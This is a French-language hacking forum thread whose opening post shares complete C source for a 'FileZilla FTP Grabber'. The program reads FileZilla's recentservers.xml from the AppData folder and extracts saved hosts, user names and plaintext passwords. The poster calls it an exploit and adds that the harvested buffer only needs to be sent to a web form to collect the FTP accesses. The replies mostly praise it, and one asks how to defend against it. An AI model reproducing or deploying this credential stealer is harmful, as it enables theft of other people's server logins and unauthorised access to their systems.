Annonce

Réduire
Aucune annonce.

[C] FileZilla FTP Grabber

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • [C] FileZilla FTP Grabber

    FileZilla stocke ses mots de passe en clair...

    Exploit.

    Code:
    /******************************
    
    **********PureHate(C)**********
    
    ******************************/
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <windows.h>
    #include <Shlobj.h>
    
    #ifdef _MSC_VER
    #define _CRT_SECURE_NO_WARNINGS
    #endif
    
    
    int GetAppDataFolder(char szPath[0x104])
    {
        if(SUCCEEDED(SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, szPath))) 
        {
            strcat(szPath, "\\");
            return 0;
        }
        return -1;
    }
    
    char * ParseLine(char buff[0x104*2])
    {
        char szInfo[0x104*2] = "";
        char * pWord = NULL;
        char * i = NULL, * j = NULL;
        int k = 0;
    
        if (pWord = strstr(buff, "<Host>")){
            i = pWord+6;
            j = strrchr(i, '<');
            k = j - i;
            _snprintf(szInfo, k+6, "\nHost:%s", i);
            return szInfo;
        }
        if (pWord = strstr(buff, "<User>")){
            i = pWord+6;
            j = strrchr(i, '<');
            k = j - i;
            _snprintf(szInfo, k+6, "\nUser:%s", i);
            return szInfo;
        }
        if (pWord = strstr(buff, "<Pass>")){
            i = pWord+6;
            j = strrchr(i, '<');
            k = j - i;
            _snprintf(szInfo, k+6, "\nPass:%s", i);
            return szInfo;
        }
    
        return NULL;
    }
    
    int main (void)
    {
        char szPath[0x104] ="";
        char szLine[0x104*2] = "";
        char szGrabed[0x104*8] = "FileZilla Acount.\n";
    
        GetAppDataFolder(szPath);
        strcat(szPath, "\\FileZilla\\recentservers.xml");
    
        FILE * pFile = NULL;
        pFile = fopen(szPath, "r");
        if (pFile){
            char * pTemp;
            while(fgets(szLine, sizeof(szLine), pFile) != NULL){
                pTemp = ParseLine(szLine);
                if (pTemp){
                    strcat(szGrabed, pTemp);
                }
            }
    
            printf(szGrabed);
            system ("pause");
        }else{
            return EXIT_FAILURE;
        }
        return EXIT_SUCCESS;
    }
    Ne reste plus qu'à envoyer le buffer dans un formulaire web et à récupérer les accès FTP.

    Super FileZilla...

    Crédit : pUr3 h4t3
    sigpic

    Cyprium Download Link

    Plus j'étudie plus j'me rends compte que je n'sais rien.

    †|

  • #2
    J'aime bien moi
    " Une teuf sans drogue c'est comme une levrette sans fessé, c'est quand même rare. "

    †|

    Commentaire


    • #3
      Envoyé par Mantra Voir le message
      J'aime bien moi
      Bah tu m'étonnes^^

      Faudra que je ramène PureHate ici en level V...
      sigpic

      Cyprium Download Link

      Plus j'étudie plus j'me rends compte que je n'sais rien.

      †|

      Commentaire


      • #4
        Salut,

        Merci de partager avec nous ceci, mais je ne comprends pas trop le principe ainsi que ce que fait le code. Serait-il possible d’expliquer un peu plus tout sa et éventuellement de nous dire comment éviter de se faire avoir par ce genre de choses ?

        Merci d'avance

        Commentaire


        • #5
          C'est gentil de ta part mes balançais un bout de code sans explications sa donne l'impression d'n avoir rien a faire

          Commentaire


          • #6
            c'est trop mortel,mais au moins la procédure;

            Commentaire

            Chargement...
            X